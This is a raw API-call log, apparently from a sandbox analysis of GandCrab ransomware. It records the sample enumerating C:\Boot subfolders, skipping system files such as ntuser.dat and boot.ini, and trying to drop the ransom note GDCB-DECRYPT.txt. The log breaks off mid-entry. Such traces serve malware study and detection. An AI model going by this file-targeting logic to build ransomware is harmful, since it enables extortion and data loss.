[0135.203] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0135.204] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0135.204] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0135.204] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.204] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.204] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.204] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.204] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.204] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\memtest.exe.mui") returned="C:\\Boot\\es-ES\\memtest.exe.mui" [0135.204] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.204] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0135.204] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0135.204] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.204] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.204] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.204] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.204] lstrcmpW (lpString1="es-MX", lpString2=".") returned 1 [0135.204] lstrcmpW (lpString1="es-MX", lpString2="..") returned 1 [0135.204] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-MX" | out: lpString1="C:\\Boot\\es-MX") returned="C:\\Boot\\es-MX" [0135.204] lstrcatW (in: lpString1="C:\\Boot\\es-MX", lpString2="\\" | out: lpString1="C:\\Boot\\es-MX\\") returned="C:\\Boot\\es-MX\\" [0135.204] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.205] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.205] lstrlenW (lpString="C:\\Boot\\es-MX\\") returned 14 [0135.205] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="*" | out: lpString1="C:\\Boot\\es-MX\\*") returned="C:\\Boot\\es-MX\\*" [0135.205] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.205] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.205] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.205] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.205] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.205] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.205] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.205] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.205] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned="C:\\Boot\\es-MX\\bootmgr.exe.mui" [0135.205] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0135.205] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.206] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.206] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.206] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.206] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt" [0135.206] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0135.206] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.206] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.206] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.206] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.206] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\es-MX\\\\GDCB-DECRYPT.txt") returned 31 [0135.206] CreateFileW (lpFileName="C:\\Boot\\es-MX\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\es-mx\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.206] GetLastError () returned 0x50 [0135.206] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.206] lstrlenW (lpString="C:\\Boot\\es-MX\\") returned 14 [0135.206] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="*" | out: lpString1="C:\\Boot\\es-MX\\*") returned="C:\\Boot\\es-MX\\*" [0135.206] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7900 [0135.206] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.206] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.206] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.206] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.206] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.206] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.206] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.206] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned="C:\\Boot\\es-MX\\bootmgr.exe.mui" [0135.206] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.207] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0135.207] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0135.207] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.207] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.207] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.207] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.207] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt" [0135.207] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.207] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0135.207] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0135.207] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0135.207] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.207] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.207] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.207] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.207] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.207] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.207] lstrcmpW (lpString1="et-EE", lpString2=".") returned 1 [0135.207] lstrcmpW (lpString1="et-EE", lpString2="..") returned 1 [0135.207] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="et-EE" | out: lpString1="C:\\Boot\\et-EE") returned="C:\\Boot\\et-EE" [0135.208] lstrcatW (in: lpString1="C:\\Boot\\et-EE", lpString2="\\" | out: lpString1="C:\\Boot\\et-EE\\") returned="C:\\Boot\\et-EE\\" [0135.208] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.208] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.208] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.208] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.208] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.208] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.208] lstrlenW (lpString="C:\\Boot\\et-EE\\") returned 14 [0135.208] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="*" | out: lpString1="C:\\Boot\\et-EE\\*") returned="C:\\Boot\\et-EE\\*" [0135.208] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.208] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.208] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.208] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.208] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.208] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.208] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.208] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.208] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned="C:\\Boot\\et-EE\\bootmgr.exe.mui" [0135.208] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0135.208] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.208] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.208] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.208] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.208] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt" [0135.208] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0135.208] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.208] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.209] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.209] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.209] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\et-EE\\\\GDCB-DECRYPT.txt") returned 31 [0135.209] CreateFileW (lpFileName="C:\\Boot\\et-EE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\et-ee\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.209] GetLastError () returned 0x50 [0135.209] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.209] lstrlenW (lpString="C:\\Boot\\et-EE\\") returned 14 [0135.209] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="*" | out: lpString1="C:\\Boot\\et-EE\\*") returned="C:\\Boot\\et-EE\\*" [0135.209] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.209] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.209] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.209] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.209] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.209] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.209] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.209] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.209] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned="C:\\Boot\\et-EE\\bootmgr.exe.mui" [0135.209] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.209] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0135.210] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0135.210] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.210] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.210] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.210] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.210] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt" [0135.210] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.210] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0135.210] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0135.210] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0135.210] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.210] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.210] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.210] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.210] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.210] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.210] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0135.210] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0135.210] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fi-FI" | out: lpString1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0135.210] lstrcatW (in: lpString1="C:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="C:\\Boot\\fi-FI\\") returned="C:\\Boot\\fi-FI\\" [0135.210] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.211] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.211] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.211] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0135.211] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="C:\\Boot\\fi-FI\\*") returned="C:\\Boot\\fi-FI\\*" [0135.211] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c76c0 [0135.211] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.211] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.211] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.211] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.211] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.211] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.211] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.211] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0135.211] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0135.211] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.211] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.211] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.212] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.212] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt" [0135.212] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0135.212] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.212] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.212] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.212] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.212] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned="C:\\Boot\\fi-FI\\memtest.exe.mui" [0135.212] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0135.212] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.212] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.212] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.217] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.217] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fi-FI\\\\GDCB-DECRYPT.txt") returned 31 [0135.217] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fi-fi\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.217] GetLastError () returned 0x50 [0135.217] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.217] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0135.217] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="C:\\Boot\\fi-FI\\*") returned="C:\\Boot\\fi-FI\\*" [0135.217] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c79c0 [0135.218] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.218] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.218] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.218] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.218] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.218] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.218] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.218] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0135.218] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.218] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0135.218] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0135.218] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.218] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.218] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.218] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.218] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt" [0135.218] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.218] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0135.218] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0135.218] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0135.218] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.218] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.218] lstrcmpiW 